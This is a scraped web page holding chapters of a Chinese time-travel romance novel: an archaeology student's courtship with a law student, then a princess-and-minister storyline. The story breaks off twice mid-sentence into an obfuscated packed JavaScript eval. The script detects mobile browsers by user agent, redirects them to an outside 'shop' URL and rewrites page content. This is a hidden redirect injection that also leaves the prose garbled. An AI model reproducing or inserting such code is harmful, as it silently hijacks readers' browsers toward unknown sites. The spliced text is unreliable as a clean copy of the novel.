她顺着楼梯往下走,脑海里还转着刚才借助显微镜,看到的那片瓷器的釉面结构。太有意思了,现代技术能看清千年前匠人手腕的每一次颤动,那些细微的纹理像涟漪,一圈一圈,拨动着她的好奇与赤忱。 思绪正浓时,脚下忽地一空。 崔令言来不及反应,整个人已顺着楼梯滑了下去。膝盖重重磕在台阶边缘,脚踝传来一阵尖锐的疼痛。她下意识去抓栏杆,却因坠得太快,只抓到一手灰尘。 等她回过神来,人已经坐在楼梯拐角的平台上了。 疼。 她掀开裤腿检查,脚踝肉眼可见地肿了起来,在白皙的皮肤上显得触目惊心。崔令言深吸一口气,试着动了动脚趾,所幸还能动,应该没伤到骨头。 摸出手机想给家里打电话,屏幕按了两下没反应,没电了。黑屏里映出她模糊的影子,头发散下来几缕,脸色大概不太好看。 崔令言盯着那块黑屏,忽然有点想笑。穿越这种事她都经历过了,没想到会被手机没电这种小事困住。 她撑着栏杆想试着站起来,脚刚沾地,疼得倒抽一口冷气,又跌坐回去。 算了,等等吧。这个点,再不济锁门的保安大叔也会出现。 也不知道过了多久,可能有十分钟,也可能有二十分钟。脚踝肿得更厉害了,崔令言开始认真考虑单脚跳着出去的可能性。 这念头刚冒出来,楼下传来一阵急促的脚步声,由远及近,正往楼梯的方向来。 崔令言还没来得及出声,一个人影已冲上楼梯拐角,出现在她面前。 是个男生。 他显然没想到楼梯上会坐着个人,堪堪在崔令言跟前刹住,整个人往后仰了仰才稳住。 “同学,你怎么坐这儿?” 崔令言仰头看他,楼梯间的灯光很暗,但从这个角度,她正好能看清他的轮廓。 眉眼生得极出色,是那种带着几分凌厉的好看,眉骨高,眼窝深,鼻梁挺直。但此刻脸上的表情太过错愕,反倒显出几分少年气。 这人她认得,法学院的郑砚清。实验室的师姐拿着他打球的照片,念叨过好几次,说学校里追他的人能从东门排到西门。 崔令言垂下眼,言简意赅:“摔了。” 郑砚清蹲下来,膝盖差点碰到她的脚,又往后挪了挪。这个距离,崔令言能看清他额头挂着的细小汗珠,还有他衣服领口洇湿的那一圈深色。 “这怎么摔的?从上面滚下来的?你等等,我打个120。” 他摸出手机。 “不用。”崔令言伸手拦了一下,“没那么严重,扭了一下,麻烦你帮我叫个车就行。” 郑砚清看着她的脚踝,眉头皱得更紧了,手指在屏幕上点了点,叫了车。然后把手机往兜里一揣,凑近了一点。 “这叫没那么严重?都肿成这样了。”他抬起眼看她,眼神里带着点不赞同。 崔令言被他看得有些不自在,移开视线。骨子里她仍是世家教养出来的大家闺秀,鲜少与外男接触,即便穿来几年了也还没习惯。 “你等一下,让我看看。” 他的手伸过来,在她脚踝上方悬停了一瞬,像是在等她的允许。崔令言会意,点了点头。他这才按在那团肿胀的边缘,动作轻柔地检查起来。 “这儿疼吗?” “有点。” “这儿呢?” “不疼。” “还好,应该没伤到骨头。”他松开手,下了结论,“你自己能走吗?” 崔令言试着又动了一下,脚踝一动,疼就顺着骨头往上爬,她忍不住嘶了一声。 “看样子不能。” 他挠了挠头,忽然想起什么似的,表情有点纠结。下一秒,他开始脱衣服。 崔令言:“……” 她下意识往后仰了仰,后背抵上楼梯扶手。 他已经把球衣脱下来了,露出精壮的肌肉。昏暗的光线里,能看清他肩膀到腰侧的线条,还有腹肌隐约的沟壑。身上带着一层薄汗,在灯光下泛着光泽。 他弯腰从扔在地上的包里翻出一件T恤,抖开,利索地套了进去。穿好后,他表情有些不自然,解释道:“刚打完球,一身汗,怕你嫌脏。” 崔令言没想到他考虑得这么周到,摇了摇头:“没事,我不在意。” 郑砚清嗯了一声,转过身,背对着她蹲下来。后背的线条透过那件T恤若隐若现,布料贴合着他肩胛骨的轮廓。 “上来吧,我背你下去。”他偏过头,侧脸对着她,“车子从东门进来,咱们得走到主路上。” 崔令言犹豫了一下:“我有点重。” “能有多重,”他语气里带了点笑意,“快点,一会儿车到了找不着人。” 崔令言抿了抿唇,伸手攀上他的肩膀,小心翼翼地把自己挂上去,尽量不将全部重量压在他身上。 察觉到了她的心思,他双手往后一探,托住她的腿弯,往上一颠,把她稳稳地背了起来。 “别绷着,摔了还这么端着。” 崔令言便放松下来,趴在他背上。他的步子很稳,下楼梯时特意放慢了速度,每下一阶都会停顿一下,确保她不会颠着。 “你怎么这么晚还没回去?” “做实验。” “什么专业做实验做到九点多?” “考古。” 他脚步顿了一下,有些诧异,偏过头想看她,又转了回去。 “考古?咱们学校还有这个专业?” “有,就是人少。” “难怪我没见过你,我叫郑砚清,法学院的。你呢?” “崔令言。” “令言……”他念了一遍,把这两个字放在舌尖上品了品,“名字挺好听。” 崔令言暗自认可,这个名字她用了两辈子,确实挺好听。 “你是大几的?” “大三。” “我也是大三,那咱俩一届,你怎么看着比我还小?” 崔令言不知道该怎么回答这个问题,把她两世算一起,确实比同龄人小一些,只好含糊道:“长得显小。” 走出实验楼,外面的路灯亮一些。崔令言不动声色地看着他的侧脸,下颌线条流畅,相貌俊美,确实有院草的资本。 “你一个人来上实验课?”他像是随口一提,“你男朋友呢?怎么不来接你?” “我没有男朋友。” 话题戛然而止,崔令言感觉到他托着她腿弯的手收紧了一点。 路上很安静,只有他的脚步声,还有远处偶尔传来的车声。路灯把他们的影子拉得很长,投在地上,两道影子叠在一起,融成了一团。 (二) 急诊室的灯很亮,照得人无所遁形。 值班医生利落做着检查,边询问症状。崔令言一一答了,目光落在自己脚上,又忍不住往旁边瞟。 郑砚清站在两步开外,双手插在裤兜里,靠着墙。急诊室的椅子空着,他没坐,就那么站着,目光时不时扫过来,又移开。崔令言每次抬眼,都能恰好捕捉到他移开视线的瞬间。 医生开始缠绷带,白色的纱布一圈一圈绕上去,把那只肿起来的脚踝裹得严严实实。 “没伤到骨头,但韧带拉伤了。”医生摘下一次性手套,低头在病历上写字,“这几天别下地走路,尽量躺着或者坐着,脚抬高一点。回去先冷敷,明天改热敷,三天还疼就来复查。” 崔令言点头道谢。 医生写完病历,抬头看了看站在旁边的郑砚清:“你是她男朋友?” 郑砚清正发着呆,下意识点了点头,又猛地反应过来,连忙摆手:“不是不是,我就是路过碰上的。” 医生哦了一声,表情没什么变化:“那行,你送她出去吧。” 郑砚清走过来,伸手扶住崔令言的胳膊。他的掌心很热,隔着薄薄的衬衫,那股温度像一小簇火苗,倏地一下渗进皮肤里。 崔令言单脚站起来,另一只脚刚离地,身子晃了一下,他的手立刻收紧,另一只手也抬起来,虚虚护在她身侧。 “慢点。” 门外的夜色比急诊室暗得多,路灯的光是昏黄的,崔令言一眼就看见家里的黑色轿车。 司机老陈站在车旁,正低头看手机。听见动静,他抬起头来,脸上瞬间堆满了焦急,三步并作两步迎上来。 “言言!怎么摔了?严不严重?”他想伸手扶她,手抬起来,又不敢贸然落下。 崔令言摇头,弯了弯嘴角:“没事,扭了一下,医生说养几天就好。” 老陈松了口气,这才发现她身边多了个陌生人,不由上下打量了他一番,最后落在他扶着崔令言的那只手上。 “这位是?” “他是学校的同学,送我来医院的。” 老陈脸上的审视瞬间散了,露出点笑来,冲着郑砚清点点头,语气热络得像换了个人:“谢谢你啊小伙子,辛苦你了。” “没事没事,应该的。” 他把崔令言扶到车边,老陈已经拉开了后座的车门,崔令言弯着腰坐进去,把那只伤脚小心翼翼地抬起来,放好。 郑砚清站在车门外,弯着腰往里看。他单手撑在车门框上,另一只手还保持着刚才扶她的姿势,眼睛在昏暗里亮着。 “你回去好好养着,别急着走路,有什么事让别人帮忙。” 崔令言点点头:“今天谢谢你。” “不客气。”他笑了笑,露出一点虎牙,“咱俩加个微信呗,我回头问问你恢复得怎么样了,让我这好人好事有点成就感。” 崔令言对现代人的社交方式适应良好,她从包里摸出手机,按了两下,屏幕黑着,没反应。 “没电了。” 见状,郑砚清立刻解锁自己的手机,打开微信,递过来:“你输一下,我加你。” 崔令言接过他的手机,上面是微信添加朋友的页面,光标在搜索框里一闪一闪,等着被填满空格。她低下头,一个一个数字输进去,输完递还给他。 他低头看了一眼,点了一下发送。屏幕上的字跳了一下,变成“已发送”。 “行了,回头通过一下。”他把手机揣回兜里,直起身来,冲她挥了挥手,“走了啊,好好养伤。” 崔令言看着他转身跑进夜色里,跑了两步,又回头看了一眼。夜色中,看不清他的表情,那轮廓一晃,渐渐消失在拐角。 老陈发动了车子,车窗外的景物开始向后移动。他从后视镜里看了崔令言一眼,嘴角还挂着点没散尽的笑:“那小伙子挺好的,真热心。” 手机屏幕还黑着,黑得像一小块深渊,像一面没有光的镜子。 但她的心里好像有个什么,亮了一下。 那光亮得很轻,像有人在不远处,划亮了一根火柴。 (三) 回到家,崔家果然乱成了一锅粥。 车刚拐进院子,崔令言就看见崔母早在那儿等着,车还没停稳,她已经冲了过来。她保养得极好,四十多岁的人了,看着像三十出头。 “宝贝,怎么摔了?疼不疼?快让妈妈看看。” 车门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔父看了她一会儿,叹了口气:“行,随你。但要是疼得厉害,必须请假。” 上楼的时候,她是被崔父背上去的。 他的背很宽,很稳,每一步都踏得结结实实。楼梯间的灯是暖黄色的,把两个人的影子投在墙上,一大一小,缓缓上升。 崔令言趴在他背上,忽然想起郑砚清。他的背也是这样宽,这样稳,但又有一些不同。 回到房间,崔令言把手机充上电,开机动画过去,微信图标上冒出一个红点。 郑砚清的好友申请。 头像是巴掌大的一汪水,不知是湖还是潭,水面平静得像凝住了,倒映着岸边几丛模糊的树影,也看不出是什么季节。 崔令言盯着那片水面看了几秒,点了通过。几乎是下一秒,对方就发来了消息。 【郑砚清】:到家用上电了? 【崔令言】:嗯。 【郑砚清】:脚还疼吗? 【崔令言】:还好。 【郑砚清】:医生说的你都记住了?冷敷热敷,别走路。 【崔令言】:记住了。 【郑砚清】:那你早点睡,明天要是还疼就别去上课了。 【崔令言】:我明天要去。 【郑砚清】:…… 【郑砚清】:行吧,那你小心点。 那个省略号只有六个点,但崔令言看着,好像能看见他无奈的表情,眉毛挑着,嘴角往下撇,想说点什么又咽回去的样子。 她盯着屏幕,嘴角不自觉地弯了弯。 把手机放到一边,关了灯,她却好久没睡着。 (四) 接下来的一周,崔令言过上了被重点保护的生活。 每天早上,司机会把车开到教学楼门口。车门刚打开,就有同学等在旁边,扶她下车,帮她拿书包。中午会有人把饭送到教室,下午下课再有人把她送上车。 崔令言一开始觉得太夸张了,但崔母态度坚决,她只好接受。只是每天被这么多人围着,她心里总有些不自在。 这天下午,最后一节课下课,崔令言正收拾书包,手机震了一下。 【郑砚清】:你在哪个楼上课? 【崔令言】:二教。 【郑砚清】:等我。 崔令言看着那条消息,愣了一下。 旁边的女生已经过来扶她了:“令言,走吧,车在外面等着。” “等一下。” 女生不明所以,但还是等在旁边。她的目光落在崔令言手机屏幕上,又飞快地移开,嘴角抿了抿。 大概过了五分钟,教室门口出现了一个人影。 郑砚清穿着件黑色卫衣,头发有点乱,像是跑过来的。他扫了一圈教室,看见坐在座位上的崔令言,大步走了过来,从那个女生手里接过了她的胳膊。 “我来吧,辛苦你了同学。”他的语气很自然,笑得礼貌又妥帖。 女生的目光在他们俩身上转了一圈,表情变得微妙起来,很识趣地退后一步,看着他们离开。 出了教学楼,郑砚清放慢了步子。崔令言单脚跳一下,他走半步,跳一下,他走半步。那半步迈得极小,几乎是在原地蹭。 “你怎么来了?” “下课正好路过,想着顺便送你一下。” 崔令言没接话,二教和法学院中间隔了大半个校园,这路顺便得有点远。 老陈的车还是停在老地方,郑砚清拉开车门,把她扶进去坐好,还很细心地系上了安全带。 “我明天还来接你。”他站在车门外,逆着光,表情看不太清。 崔令言愕然:“你不用……” “没事,反正我也闲着。” 他关上车门,隔着车窗冲她挥了挥手。那只手在半空中停了两秒,落下去,插进卫衣口袋里。 车子开出去,崔令言从后视镜里看见他还站在原地,直到拐过弯去,才变成一个看不见的黑点。 老陈从后视镜里看了她一眼:“又是那个小伙子?” “天天来找你呢?” “今天第一次。” 老陈笑了笑,没再说话。 70. 古穿今(2) 矜贵大小姐 (五) 之后的几天,郑砚清真的每天都来。 来了就是扶她上车,或者陪她去食堂吃饭。一路上能说个不停,从他们法学院的古板教授,到食堂哪个窗口的菜好吃,再到最近学校发生的各种八卦。 崔令言大多时候只是听,偶尔嗯一声。他也不介意她不接话,好像只要她在听,就很满意了。 有天中午,他陪她在食堂吃饭,忽然问:“你为什么学考古啊?” 崔令言筷子顿了一下,悬在半空,又落下去。 “喜欢。” “喜欢什么?” 食堂里人声嘈杂,她轻声说:“喜欢那些旧东西,它们在那里躺了几百年几千年,看着它们,就像在看一段被凝固的时光。” 她抬起头,发现他正看着她,眼睛里有种她看不懂的光。 “那你以后想干什么?去博物馆?还是继续做研究?” “应该是继续做研究吧,我想搞清楚那些东西背后的故事。” “挺好,知道自己想要什么,挺幸福的。”他笑了一下,用筷子戳着碗里的米饭。 “你呢?你想干什么?” “我啊,还没想好。”他拖长了调子,眼睛弯起来,“学法的人太多了,以后可能去当律师,也可能考公务员,也可能什么都不干,回家继承家业。” 他说最后四个字的时候,眉毛轻轻一挑,语气里带着点自嘲的意味。 崔令言被他逗笑了。 那笑容很淡,只是嘴角微微弯了一下。郑砚清看见她笑,笑得比刚才更开心。 “你笑起来好看,应该多笑笑。” 崔令言低下头,耳尖泛着淡淡的红。 (六) 脚伤好了之后,郑砚清还是会出现。 有时候是“正好路过”她上课的教室,有时候是“正好在食堂碰到”。崔令言不拆穿他,只是每次看见他的时候,嘴角会不自觉地弯一下。 这天下午,崔令言从实验室出来,天已经黑透了。 十一月的夜风带着凉意,她裹紧外套走到门口,就看见郑砚清靠在路边的栏杆上。他低着头看手机,侧脸轮廓清晰,身边还停着一辆黑色的机车。 听见脚步声,他抬起头,手机随手揣进兜里。 “今天怎么这么晚?” “实验没做完。”崔令言走过去,目光在那辆机车上停了一瞬。 “吃饭了吗?” “还没。” “走吗?带你去个地方。”他把后座的头盔递给她。 崔令言看着那顶头盔,又看了看那辆机车。 她这辈子加前世,从没坐过这种东西。这种风驰电掣的东西,离她的世界太远了。 正想着,郑砚清忽然倾身过来。 他亲手帮她戴上头盔,又调整头盔的扣带,手指触到她下颌,触感温热,很快,却很清晰。 “好了。”他退回去,看着她,“我们出发吧。” 下一刻,机车轰鸣着蹿了出去,风呼啸着从耳边刮过,把她的头发从帽檐下扯出来,在身后猎猎飞扬。 她从来没体验过这种感觉,不是坐在轿车里那种被保护的平稳,而是整个人暴露在风里,被速度裹挟着往前冲。 郑砚清感觉到她抓着他衣服的力道,微微侧过头,声音被风撕碎又拼凑起来传进她耳朵。 “怕吗?” 崔令言没有回答。 她确实有点怕,但这怕里又混着一种说不清的兴奋。那些规矩的生活之外,原来还有这样的世界。 不知道什么时候,她的手环住了他的腰,心跳变得很快。 郑砚清感觉到腰间的力道,嘴角的弧度又大了几分。 机车穿过繁华的街道,穿过安静的小巷,最后停在一家不起眼的烧烤店门口。店面很小,只有四五张桌子,但里面坐满了人,门口还排着队。 郑砚清把头盔摘下来,甩了甩被压乱的头发,回头看她:“怎么样?” 崔令言还坐在后座上,头发被风吹得凌乱,脸颊被风吹得微微泛红,眼睛却亮得出奇。 “也不赖。” “那就行,下次带你去更远的地方。” 他推开店门,拉着她直接走进去。店里的老板正在烤串,看见他就笑起来:“小郑来了?老位置给你留着呢。” 郑砚清熟门熟路地点头,穿过几张挤满人的桌子,走到角落里一张小桌旁。桌子很小,两个人面对面坐着,膝盖都快碰到一起。 他点了一堆,没一会儿,一大盘羊肉串端了上来,滋滋冒着油,香料的味道扑鼻而来。 “尝尝。”郑砚清拿起一串递给她。 崔令言接过来,咬了一口。 羊肉烤得外焦里嫩,肥肉的地方已经烤得微焦,咬下去油脂在嘴里化开,混着孜然和辣椒的香气,烫,但是香。 “怎么样?”郑砚清盯着她,眼里带着期待。 “好吃。” 郑砚清笑了,拿起一串也开始吃。 两个人就这么坐在小店里,对着吃羊肉串。店里的灯光是暖黄的,把一切都镀上一层柔软的颜色。人声嘈杂,羊羊肉串的香气混着炭火的味道,有一种说不出的烟火气,让人觉得踏实。 崔令言忽然想起前世。 那时她出门必乘车轿,食必珍馐,从未来过这样的地方。宴席上的珍馐百味,礼仪繁复,每一口都吃得小心翼翼。但此刻坐在这里,她却觉得比那些精致的宴席都要自在。 “想什么呢?”郑砚清问。 崔令言回过神,发现他正看着她:“没什么,就是觉得,这个地方挺好的。” 郑砚清笑意更深了:“那以后常带你来。” 吃完羊肉串,他骑机车送她到校门口。 老陈的车已经等在那里了,黑色的轿车安静地停在路边,和那辆桀骜的机车形成鲜明的对比。崔令言下了车,把头盔还给他。 “今天谢谢你。” “谢什么。”他接过头盔,挂在后视镜上,“能和你一起吃饭,我很开心。” 崔令言看着他跨上机车的背影,正要把头盔戴上,忽然叫住他:“郑砚清。” 他回过头,手还扶着头盔。 夜风吹过,崔令言站在路灯下,影子被拉得很长:“这周末你有空吗?换我请你吃饭。” 郑砚清今晚露出的笑容数不胜数:“你邀请,当然有空。” (七) 那天之后,郑砚清来找她,再也不说“路过”了。 中午吃饭,他来;下午下课,他来;晚上她做实验,他就在楼下等。不管多晚,只要她下楼,一抬眼就能看见他。 那辆黑色机车成了考古系实验楼门口的常客,谁路过都要多看两眼,车酷,人也惹眼。 实验室的同学都认识他了,看见他就喊:“令言,你男朋友来了!”她每次都解释,但没人信。 这天晚上,崔令言做完实验下楼,已经快十点了。他今天没靠车上,而是直直地站着,手里捧着一束花。 不是那种花店里的精包装,就是路边摊上随手买的,用旧报纸包着,几枝向日葵,几枝雏菊,颜色明晃晃的。 崔令言走过去,在他面前站定:“今天什么日子?” “没什么日子。”他笑得不太自然,“就是路过看见有人在卖,觉得好看,就买了。” 她伸手接过那束花,低头闻了闻。向日葵有淡淡的清香,雏菊没有味道,但花瓣软软的,摸上去让人心里也跟着软下来。 “谢谢。” 郑砚清张了张嘴,像是想说什么,又咽回去。夜风从两人之间吹过,把她的发丝吹起来。 他终于开口了:“令言,我想跟你说件事。” 崔令言抬起头。 看得出他很紧张,一点也不像那个骑机车时张扬得无法无天的人。他的喉结又动了一下,像是下了很大的决心。 “我喜欢你。” “不是那种路过的喜欢,是想天天见你的喜欢。”他的眼睛里有光,有她的倒影,还有一点小心翼翼的期待,“你愿意让我当你男朋友吗?” 崔令言看着他。 忽然想起两年前,她刚穿越过来的时候。 那时候她连这个世界的路都认不清,所有人对她来说都是陌生人。她小心翼翼地活着,小心翼翼地学着当一个现代人,把自己藏在那副淡漠的表情后面。她以为她会一直这样下去,一个人,不远不近,不冷不热。 可是不知道从什么时候开始,这个人就闯进来了。 她抱着那束花,弯了弯嘴角:“好。” 郑砚清愣了一下,眼睛一下子亮了起来:“真的?” “真的。” 他忽然上前一步,把她抱住了。 那束花被挤在两个人中间,花瓣窸窸窣窣地响,向日葵的脑袋歪了,雏菊的花瓣蹭在她下巴上。他抱得很紧,手臂在微微发抖。 崔令言听见他在耳边说:“我高兴死了。” 她忍不住笑了,把手从他腰侧穿过去,环住他。 路灯下,两个人的影子叠在一起,分不清是谁的。夜风还在吹,但那束花挡在两人之间,竟一点也不觉得冷。 (八) 在一起之后,崔令言才知道郑砚清有多黏人。 早上睁开眼,手机里一定有他的消息。点开一听,是他压低了的声音:“还没醒啊,那我再等等。” 不管她上什么课,在哪个楼,他总能准时出现。看见她出来的那一刻,他眼睛会立刻亮起来,穿过人群朝她走过来,自然而然地接过她的包。 但最让崔令言招架不住的,是他那些无意识的亲密举动。 走路的时候,他一定要牵着她的手。十指相扣,掌心贴着掌心,好像一松开她就会跑掉似的。 坐着的时候,他一定要挨着她。不管多宽的椅子,他都要挤过来,肩膀贴着她的肩膀,膝盖挨着她的膝盖。 “你离这么近干什么?” “想看看你。” 他理直气壮,从额头看到眉眼,从眉眼看到鼻尖,从鼻尖看到嘴唇,视线在她唇上停留得尤其久。 崔令言被他看得耳尖发烫,偏过头去不看他。他就笑,笑得胸腔微微震动,把下巴抵在她肩膀上,从 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崔令言被他亲得连连后退,呼吸被他夺走,脑子里一片空白。她想推开他喘口气,但他的手纹丝不动,只是稍微松开一点她的唇,让她换了口气,然后又吻下来。 这一次更深,更用力。 她不知道自己被亲了多久,只知道最后分开的时候,她腿都软了,只能靠在他怀里喘气,胸口剧烈地起伏着。 郑砚清低头看着她,眼里全是笑意:“令言,你好甜。” 崔令言瞪他,但这一眼一点威慑力都没有,眼眶里还带着水汽,睫毛湿漉漉的,瞪人的样子像是在撒娇。 郑砚清看着她这副模样,喉结动了动,又想低头亲她。 崔令言伸手捂住他的嘴:“不许亲了。” 他就着她的手,亲了亲她的掌心:“好,听你的。” 但这句话根本不算数。 从那之后,他逮着机会就亲她。 早上见面要亲一口,中午吃完饭要亲一口,下午分开要亲一口,晚上送她回宿舍,能在小花园里亲半个小时。 有时候是在他公寓里,两个人窝在沙发上看电影。看着看着,他就凑过来了。从额头亲到鼻尖,从鼻尖亲到嘴唇,从嘴唇亲到耳垂,再从耳垂亲回嘴唇。亲一下,看她一眼,再亲一下。 崔令言被他亲得没办法,推他的肩膀:“郑砚清,电影……” “电影不重要。”他的手扣着她的后腰,不让她逃,“你比较重要。” 他的舌尖描过她的唇瓣,轻轻撬开她的齿关,一点点深入。崔令言被他亲得脑子发懵,只感觉到他的手在她腰间收紧,整个人被他揉进怀里。 她不知道自己什么时候被他压倒在沙发上的,只感觉到他身体的重量覆上来,温热的唇贴着她的皮肤,一下一下地啄。 崔令言仰着头,指尖触到他发丝的柔软。窗外有阳光落进来,照在她闭着的眼睛上,一片暖融融的红。 不知过了多久,他终于停下来,把脸埋在她颈窝里,嘴唇泛着水光。 崔令言也没好到哪里去,心跳快得像要从胸腔里蹦出来,胸口剧烈地起伏着。 过了好一会儿,他抬起头,忽然叹了口气:“完了。” “什么完了?” “我好像,越来越喜欢你了。” 崔令言失笑,伸手环住他的脖子,把他拉下来,把脸埋进他颈窝里。 “那就喜欢着。” 他收紧手臂,把她整个人圈进怀里,心跳贴着她的,砰砰砰,分不清是谁的。 后来崔令言问过他,那天在楼梯间,他为什么会那么晚还在学校。 他说打完球回去洗澡,路过实验楼的时候听见里面有动静,就进去看了看。 “那你怎么知道是我?” “我不知道是你,但我听见有人,就想看看是不是需要帮忙。” 崔令言又问,如果那天晚上摔在那里的不是她,他也会这样冲过去,这样背起那个人送去医务室吗? “会吧,但可能不会加微信。” “那会这样喜欢上那个人吗?” 他摇头,摇得很坚定:“不会,只有你。” 窗外是这座城市冬天的阳光,落进来,照在他们身上。她忽然想起那年秋天他骑机车带她上山,风从耳边呼啸而过,她抱着他的腰,第一次觉得,这个世界好像也没那么陌生。 甚至,有点可爱。 就像此刻抱着她的这个人。 “想什么呢?”郑砚清问,又凑过来亲她。 崔令言从思绪里回过神,看着他的眼睛。 “在想,遇见你挺好的。” 郑砚清眼中的笑意漫出来,漫到嘴角,漫成那颗虎牙。他低下头,又亲了亲她。这一次很轻,很慢,像是要把这句话也亲进去。 阳光暖融融的,崔令言闭上眼睛。 她想,穿越这件事,好像也没那么坏了。 71. if线:公主与权臣 (一) 安阳公主府的寝殿内,烛泪凝了满台,衣物从外殿一路散落进来,空气中弥漫着浓郁的沉水香。 李妙仪卧在榻上,三千青丝散如墨瀑,枕上铺了一片乌沉沉的光。她的面颊上还残留着薄薄的绯红,长睫低垂,呼吸渐匀,终于从那场酣畅淋漓的颠簸中缓过神来。 可就在她即将沉入梦乡的当口,一只健壮的手臂横在她腰上,掌心滚烫。而那只手的主人呼吸绵长,胸膛贴着她的后背,带着令人心烦的温热。 李妙仪蹙了蹙眉,没睁眼,但已伸手过去,毫不客气地“啪”一声拍开了那只手。 手臂的主人闷哼一声,被扰了清梦,含糊地嘟囔了一句。李妙仪正要往榻边挪一挪,那只手却比方才更缠人地卷土重来,连着手腕一起收紧,将她整个人往回一拽。 李妙仪还没反应过来,一具温热的躯体从背后覆上来,下颌抵着她的肩窝,亲了又亲:“别闹,再睡会儿。” 李妙仪的眼皮跳了跳,她睁开眼,入目便是自己搭在枕边的一截白嫩嫩的手臂,腕骨纤细,指节匀停,上面却零星印着几点红痕。 昨夜那些支离破碎的画面,骤然涌入脑海。 她僵了一瞬。 身后的人浑然不觉,反而将她搂得更紧了些,鼻尖蹭了蹭她的耳廓,那动作亲昵得像是做了千百遍。 “郑淮序,要是你的手再不拿开,我剁了它。”她声音不大,却冷得像腊月的井水。 身后的人动作顿住。 片刻后,郑淮序慢吞吞地抬起头来,半睁着一双惺忪的睡眼,沙哑道:“殿下,你昨夜最后缠着我抱紧的时候,可不是这样说的。” 李妙仪猛地坐起身来,锦被从肩头滑落,只见雪地上落了一地梅花。她登时手忙脚乱地扯过被子裹住自己,转过头来,恶狠狠地瞪着身后的人。 郑淮序半靠在枕上,墨发披散,一双含情眼似笑非笑地望着她。锦被只盖到他腰间,肩宽腰窄,胸腹间的肌肉线条分明,几道指甲抓痕横亘于前胸后背,看上去似只餍足的豹子。 李妙仪别开眼,咬牙切齿道:“你为什么还在我榻上?” 郑淮序挑了挑眉,慢条斯理地开口:“臣好歹辛苦了一夜,殿下这么快就翻脸不认人?” 他不紧不慢,有股子气定神闲的欠揍劲儿:“是谁搂着我不撒手?是谁边哭边逞能?还咬了我肩膀一口……” “够了!”李妙仪脸色绯红,抓起枕头就砸了过去。 郑淮序偏头躲过,枕头砸在身后的屏风上,他还是佯装被砸痛,嘶了一声,委屈道:“殿下好大的脾气,只许州官放火,不许百姓点灯?” 李妙仪恨不得扑上去揍他一顿,可稍微一动,腰肢便传来阵阵难耐的酸软,仿佛被人拆过又重新装上。这些隐秘的不适让她瞬间想起了昨夜的种种,脸色青一阵红一阵。 “你出去,现在立刻出去!” 见她冷脸呵斥,郑淮序也不恼,眉眼间的弧度柔和了许多,当真掀开被子起身:“臣告退,殿下莫生气。” 他赤着脚下榻,弯腰捡起地上的衣物,一件一件不紧不慢地往身上套。穿到一半,忽地回过头来,目光落在她身上。 “你昨夜喝了太多酒,醒来头疼的话,让人煮一碗醒酒汤。” 李妙仪没说话,只用一双杏眼冷冷地瞪着他。 郑淮序系好腰带,弯腰捡起她的绣鞋,放到榻边的小几上,直起身来:“等殿下冷静了,我们再详谈一番,此事我定会给你一个交代。” 言罢,他转身推门而去。 门扇开合的瞬间,冬日的冷风灌进来,吹得帐幔轻轻飘动。李妙仪打了个寒噤,怔怔地坐着,抬手捂住了自己的脸。 “李妙仪啊李妙仪,你怎么能和他胡来呢?”她喃喃自语,语气中难掩懊恼。 她颓然倒在榻上,锦被蒙过头顶,吸气间,被子里全是他的气息,霸道地钻入鼻腔,让她避无可避。 他的唇,他的手,他的呼吸,他的低语。 她把他踹下榻过一次,他锲而不舍地爬上来;她骂他登徒子,他笑着说“再骂得凶些”;她在他肩头咬出一个血印,他反而将她搂得更紧。 荒唐。 太荒唐了。 李妙仪猛地掀开被子,大口大口地喘气。 她发誓,若不是宫宴上喝了那么多酒,她绝不会!绝不可能会和郑淮序那个混蛋厮混! (二) 腊月二十八,盛京城大雪纷飞,皇宫大殿内却暖意融融。 李妙仪坐在女眷席的首位,身着绛紫色大袖衫,头戴金镶玉步摇,面若芙蓉,眉如远山。她端坐在案后,背脊挺直,仪态万方,举手投足间自有一股天家贵气。 在大雍,二十岁还未出降的公主并不多见。倒不是她容貌不佳或品行有缺,恰恰相反,安阳公主才貌双全,琴棋书画无一不精,骑射打猎亦不输男儿。她的婚事之所以迟迟未定,是因为眼界太高。 帝后先后为她相看了十几位世家公子、朝中俊彦,她不是嫌人家文弱,就是嫌人家粗鄙,要么嫌人家胸无大志,要么嫌人家急功近利。皇后私底下没少操心,可李妙仪油盐不进,只说“宁缺毋滥”。 此刻,她正端着酒杯,面带得体的微笑,与身旁的几位宗室女眷寒暄。可她的目光,却时不时地飘向对面的男宾席。 准确地说,是飘向男宾席最前排的一个人。 齐王李琮。 他这几年一直在南方督造海船、操练水师。此番年节,他奉诏回京述职,今日也出席了宫宴,与左右谈笑风生,似乎心情极好。 李妙仪的心情却一点儿也不好。 李琮回京后,进宫给帝后请安时,听皇后提到了李妙仪的婚事,他便热心地接了这个话茬,当着帝后的面说:“臣侄在江南认识几位青年才俊,品貌俱佳,不如改日引荐给皇妹相看?” 这话传到李妙仪耳中时,已经变了味道。她听说的版本是:齐王在帝后面前说她“眼界过高,以致蹉跎至今”,又说“皇妹年逾二十尚未出降,于皇家体面有碍”。 今日宫宴上,两人一碰面,火药味就上来了。你来我往间,李妙仪忍了又忍,才没有将杯中酒泼到李琮脸上。 她终是没忍住嘲讽道:“堂兄与其操心我的婚事,不如操心自己的差事。听说那江南督造的海船,有一艘试航时便散了架,折损了三十余名水手?父皇若是知道了,怕是要好生‘嘉奖’堂兄一番。” 李琮的脸色彻底沉了下来。 周围的宗室亲贵们纷纷侧目,却没有人敢上前劝解。最后还是皇后身边的嬷嬷过来打圆场,将两人分开,各自引回座位。 李妙仪回到座位上,怒气未消,端起酒杯一饮而尽。身旁的侍女连忙给她斟满,如此反复了几次,她的面颊上浮起了两团酡红,眼神也开始变得迷蒙。 宫宴继续,歌舞升平。李妙仪坐在那里,表面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374617|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 